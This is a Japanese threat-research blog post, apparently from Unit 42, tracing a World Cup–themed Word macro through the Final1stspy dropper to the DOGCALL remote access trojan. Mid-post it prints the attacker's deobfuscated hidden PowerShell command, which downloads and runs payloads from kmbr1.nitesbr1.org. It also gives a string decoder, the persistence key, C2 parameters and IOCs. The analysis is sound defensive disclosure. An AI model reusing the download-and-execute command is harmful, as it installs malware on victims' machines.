This post is also available in: English (英語)
概要
Unit 42は最近、ロシア語およびカンボジア語を話す個人または組織を標的とする、政治的な動機付けを持つルアー(わな)を含む攻撃で使用されたNOKKIマルウェア ファミリを紹介しました。この調査の中で Reaperと呼ばれる脅威グループとの興味深いつながりが発見されました。
Reaperグループは、別のセキュリティ組織によって北朝鮮に属していると明らかにされていて、この国の利害に沿う組織を標的にしています。このような標的とされる組織には、韓国内の軍事/防衛産業および北朝鮮と取引があった中東の組織などが挙げられます。このグループの手口の一部には、DOGCALLと呼ばれるカスタム マルウェア ファミリの使用が含まれます。DOGCALLは、リモート アクセス型トロイの木馬(RAT)の1つで、サードパーティのホスティング サービスを使用し、データをアップロードしてコマンドを受け取ります。この特定のマルウェア ファミリは、公表時点で、Reaper脅威グループに使用されていることが確認されたのみです。
このブログでは、NOKKIマルウェア ファミリとDOGCALLマルウェア ファミリの間に見つかった関係を詳細に説明し、DOGCALLを展開するために使用された、未報告のマルウェア ファミリについての追加情報を提供します。弊社は、この未報告のマルウェアをPDB文字列に基づいてFinal1stspyと命名しました。
結び付き
Unit 42は、NOKKIマルウェアの脅威を調査中、Microsoft Word文書内で悪意のあるマクロを利用して2018年7月に始まった最新の連続攻撃を発見しました。これら特定のマクロは本質的にそれほど複雑ではなく、単に次のアクションを実行しようとしました。
- 実行可能なマルウェア ペイロードをダウンロードして実行する。
- Microsoft Wordのおとり文書をダウンロードして開く。
このマクロは、検出を回避するため、興味深い文字列の単純な難読化を採用しており、結局、base64エンコーディングのみを使用しています。ただし、まずbase64でエンコードされたテキストを16進数に変換し、その16進数をテキスト文字列に変換するという変わった手法を使用しました。
![図1 リモート ペイロードをダウンロードして実行する悪意のあるマクロ(理解しやすいようにUnit 42がコメントを追加しています)](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2018/120498/nokki-almost-ties-the-knot-with-dogcall-embargo/picture-01.png)
![図2 固有の難読化解除スキームを実装した悪意のあるマクロ(マルウェア作成者がコメントを追加しています)](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2018/120498/nokki-almost-ties-the-knot-with-dogcall-embargo/picture-02.png)
NOKKIを配信するすべてのサンプルにあるこの固有の難読化解除手法を調べた結果、別のファイルが1つ見つかりました。このファイルには次の特性がありました。
MD5 | e02024f38dfb6290ce0d693539a285a9 |
SHA1 | d13fc918433c705b49db74c91f56ae6c0cb5cf8d |
SHA256 | 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51 |
作成者 | Windows User |
作成日 | 2018-03-19 07:58:00 UTC |
最終変更日 | 2018-06-16 14:19:00 UTC |
元のファイル名 | World Cup predictions.doc |
元のファイル名に基づくと、このマルウェア サンプルが2018年にロシアで開催されたワールドカップに関心を持つ個人を標的にしていたことが推測できます。下図で分かるように、両サンプル間で使用された固有の難読化解除ルーチンは、作成者が記入したコメントまで同じです。
![図3 NOKKIドロッパーとWorld Cup predictionsドロッパーの類似点](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2018/120498/nokki-almost-ties-the-knot-with-dogcall-embargo/picture-03.png)
難読化解除ルーチンは同じでしたが、マクロの実際の機能は若干異なっていました。NOKKIドロッパー サンプルは、ペイロードとおとり文書の両方をダウンロードしましたが、このWorld Cup predictionsマルウェア サンプルはHTMLでラップされたリモートVBScriptファイルをダウンロードして実行し、元のWord文書にテキストを追加して被害端末にルアーを仕掛けます。
問題のルアーには、英国のESPNに記載された公開記事から抽出した以下のテキストが含まれています。
Peru and Denmark face off in the third match, and this time it doesn't seem as one sided. Four people go for a Peru victory, three for Denmark and three for the draw. Last but not least, we get to see Croatia and Nigeria for the first time. Our Nigeria expert, Colin, reckons there will be plenty of goals and a 3-2 win for his side -- the only person to back the Super Eagles. Check out how our pundits got on with their predictions for following games and remember to join the pundits' league in Match Predictor. We've got our top talent on hand from England, the United States, Mexico, Brazil, Argentina, Colombia, Australia, and Africa -- many of whom will be based out in Russia for the tournament -- to analyze each and every one of the 64 matches. We'll score our experts just as we do in the Match Predictor -- 10 points for correct result, with a bonus 20 points for getting the score line right too.
興味深いことに、2つのコメント付きルアーが、この文書にも含まれていました。1つ目のルアーには「I miss u.」というフレーズが含まれているだけですが、2つ目には、北朝鮮のリーダーのシンガポール訪問を説明しているオンラインの公開記事から抽出したテキスト(以下参照)が含まれています。
This aircraft seems to have conveyed a North Korean advance team including diplomats and security personnel. The 747-400, which just landed in Singapore, was apparently used to fly Kim and his personal aides to the summit. This would also be consistent with our previous reporting that North Korea had settled on such a plan. The Jumbo Jet in question is quite special. B-2447 is used by the top rungs of the Chinese government, predominantly President Xi Jinping and his entourage, when traveling abroad. It is capable of being specially outfitted with a VIP interior and has special interfaces for secure satellite communications among other modifications. With this in mind, it wasn't surprising seeing it being used as 'Kim Force One' for this special mission.
World Cup predictions.docファイルの一連の実行を完了すると、DOGCALLマルウェア サンプルが被害端末で実行されます。
このマルウェアで使用されたコメント付きルアーおよびペイロードは、DOGCALLがReaperと呼ばれる脅威グループに属しているという興味深い詳細を提供しています。また、Reaperは別のセキュリティ組織によって北朝鮮に属していることが分かっています。
マルウェアの連続実行
World Cup predictions.docの最初の実行が行われた後、次のURLからVBScriptファイルがダウンロードされます。
http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html
このVBScriptファイルにも、前述のまったく同じ固有の難読化解除ルーチンが
含まれています。この第2段階のVBScriptファイルを実行すると、次のデータを
%APPDATA%\Microsoft\mib.datに書き込み始めます。このファイルは、後でFinal1stspyマルウェア ファミリによって使用されます。このことについては後で説明します。
1111:rom*E8FEF0CDF6C1EBBA90794B2B
このファイルは、書き込まれた後に以下(難読化解除)を実行します。
1 |
objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0 |
この実行されたコードは、単純にhttp://kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpgおよびhttp://kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg から2つのファイルをダウンロードし、これらをそれぞれ%APPDATA%/Microsoft/Windows/msvcrt32.dllおよび%APPDATA%/Microsoft/ieConv.exeに保存します。最後に、新しいプロセスでVBScriptファイルが前にダウンロードしたieConv.exeファイルを実行します。
これら2つのファイルは、以前未報告だったドロッパー マルウェア ファミリの例で、弊社ではこれをFinal1stspyと呼んでいます。
Final1stspyの概要
前述のとおり、Final1stspyマルウェア ファミリは、実行可能ファイルとDLLに分かれています。これらのファイルには次の特性があります(注意: DLLの情報は、マルウェアによって復号された後に提供されます)。
MD5 | 0f1d3ed85fee2acc23a8a26e0dc12e0f |
SHA1 | 3d161de48d3f4da0aefff685253404c8b0111563 |
SHA256 | fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a |
ファイル タイプ | PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応 |
ファイル名 | wwwtest.jpg |
コンパイル タイムスタンプ | 2018-06-01 15:52:41 UTC |
PDB文字列 | E:\Final Project(20180108)\Final1stspy\LoadDll\Release\LoadDll.pdb |
MD5 | a2fe5dcb08ae8b72e8bc98ddc0b918e7 |
SHA1 | 741dbdb20d1beeb8ff809291996c8b78585cb812 |
SHA256 | 0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a |
ファイル タイプ | PE32 executable (DLL) (GUI) Intel 80386, for MS Windows |
ファイル名 | happy.jpg |
コンパイル タイムスタンプ | 2018-06-17 17:04:15 UTC |
PDB文字列 | E:\Final Project(20180108)\Final1stspy\hadowexecute - Copy\Release\hadowexecute.pdb |
ご覧のとおり、両方のサンプルは、それぞれ2週間の内にコンパイルされました。
また、このマルウェアを配信するために使用された元のMicrosoft Word文書の最終変更日は、DLLがコンパイルされた日のおよそ1日前でした。
実行可能ファイルとDLLは両方とも、特定のルーチンを利用して重要な文字列を難読化しています。Pythonで記述された次のコードがこれらの文字列をデコードします。
1 2 3 4 5 6 7 8 |
import base64 data = "[Obfuscated String]" dataDecoded = b64decode(data) outVar = "" for char in dataDecoded: outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff) print(outVar) |
Final1stspyマルウェアは、最初に以下のファイルの存在を検索します。
%APPDATA%\Microsoft\Windows\msvcrt64.dll
該当のファイルが存在する場合、このマルウェアはDLLをロードし、エクスポートしたmain_func 関数を呼び出そうとします。
ファイルが存在しない場合、このマルウェアは次のファイルを探索します。
%APPDATA%\Microsoft\Windows\msvcrt32.dll
該当のファイルが存在する場合、このマルウェアは、このファイルの0x50に対するXOR演算処理をして復号し、その結果を前述のmsvcrt64.dllパスに書き込んで、main_func関数をロードします。
このDLLは、実行可能ファイルで確認されたものと同じ文字列難読化ルーチンを使用します。まず、基本システム情報を収集し、次のレジストリ キーを%APPDATA%/Microsoft/ieConv.exeを指すように設定して永続性を確保します。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32
Final1stspyマルウェア ファミリは引き続き前に書き込んだmib.datファイルを読み取り、解析します。データは解析され、最終的に後続のHTTP GETリクエストで使用されますが、その際Index変数、Account変数、およびGroup変数を表します。
元の文字列 | 1111:rom*E8FEF0CDF6C1EBBA90794B2B |
Index | 1111 |
Account | E8FEF0CDF6C1EBBA90794B2B |
Group | rom |
Final1stspyには、ユーザー エージェント、URL、ポート、インターバル カウントなど、いくつかの変数が格納されている%APPDATA%/Microsoft/olevnc.iniファイルを読み取る機能があります。このファイルが存在しない場合(私たちが指定した状況などにおいて)、マルウェアはデフォルトでハードコードしたユーザー エージェントおよびURLになります。この特定のサンプルはHost Process Updateのユーザー エージェントを使用してhttp://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php と通信します。
このマルウェアは、次の例のようにURLへのHTTP GETリクエストを実行します。
![図4 Final1stspyマルウェア ファミリによって発行されたHTTPリクエスト](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2018/120498/nokki-almost-ties-the-knot-with-dogcall-embargo/picture-04.png)
次のGETパラメータはこのリクエストに含まれています。
変数 | データ |
マシンId | 被害端末から取得したデータから生成されたMD5 |
InfoSo | Microsoft Windowsのバージョン情報およびCPUアーキテクチャ |
インデックス | mib.datから取得したデータ |
アカウント | mib.datから取得したデータ |
グループ | mib.datから取得したデータ |
リスト | 実行中プロセスのリスト(base64エンコード) |
このマルウェアは、0x49のシングルバイトXORキーを使用して後に復号されるペイロードの受信を期待しています。このペイロードは被害端末にロードされます。復号後、次のペイロードが特定されました。
MD5 | 05d43d417a8f50e7b23246643fc7e03d |
SHA1 | 67c05b3937d94136eda4a60a2d5fb685abc776a1 |
SHA256 | 3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f |
ファイル タイプ | PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応 |
ファイル名 | girl.jpg |
コンパイル タイムスタンプ | 2018-05-26 10:46:59 UTC |
上記のコンパイル タイプスタンプから分かるように、このファイルはFinal1stspy実行可能ファイルと同時期にコンパイルされたようです。このペイロードはDOGCALLマルウェア ファミリに属していると特定されました。被害端末で実行できるアクションは以下のとおりです。
- スクリーンショットの取得
- キーロギング
- マイクのデータの捕捉
- 被害端末の情報の収集
- 関心のあるファイルの収集
- 追加のペイロードのダウンロードと実行
このマルウェアはサードパーティのホスティング サービスと通信して、次のサービスを含むC2チャンネルを探します。
- Dropbox
- pCloud
- Yandex Cloud
- Box
結論
元々、NOKKIという名前の新しいマルウェア ファミリ周辺の調査として始めた活動によって、コードの重複などKONNIとのつながりがNOKKIに見つかり、NOKKIマルウェア ファミリとReaper脅威グループとのつながりという興味深い発見に至りました。マクロ的な関係は、良く言ったところで薄いことは明らかですが、コメント付きの北朝鮮関連のルアー情報やDOGCALLマルウェア ペイロードなどさまざまな興味深い側面が明らかになりました。また、公には未報告のさらに別のマルウェア ファミリを発見し、これをFinal1stspyと命名しました。
Unit 42は、この脅威を引き続き監視し、今後新たな事実が発見された場合には報告します。パロアルトネットワークスのお客様は、この脅威から以下に示す方法で保護されています。
- 確認されたすべてのマルウェアはWildFireによって悪意あるものとして適切に区分されます。
- Trapsはこの脅威をブロックします。
- AutoFocusのお客様は、KONNI、NOKKI、Final1stspy、DOGCALL、およびReaperのタグを使用して、この脅威を追跡できます。
IOC
World Cup predictionsのサンプル
66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51
Final1stspyのサンプル
0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a
fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a
DOGCALLのサンプル
3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f
インフラストラクチャ
kmbr1.nitesbr1[.]org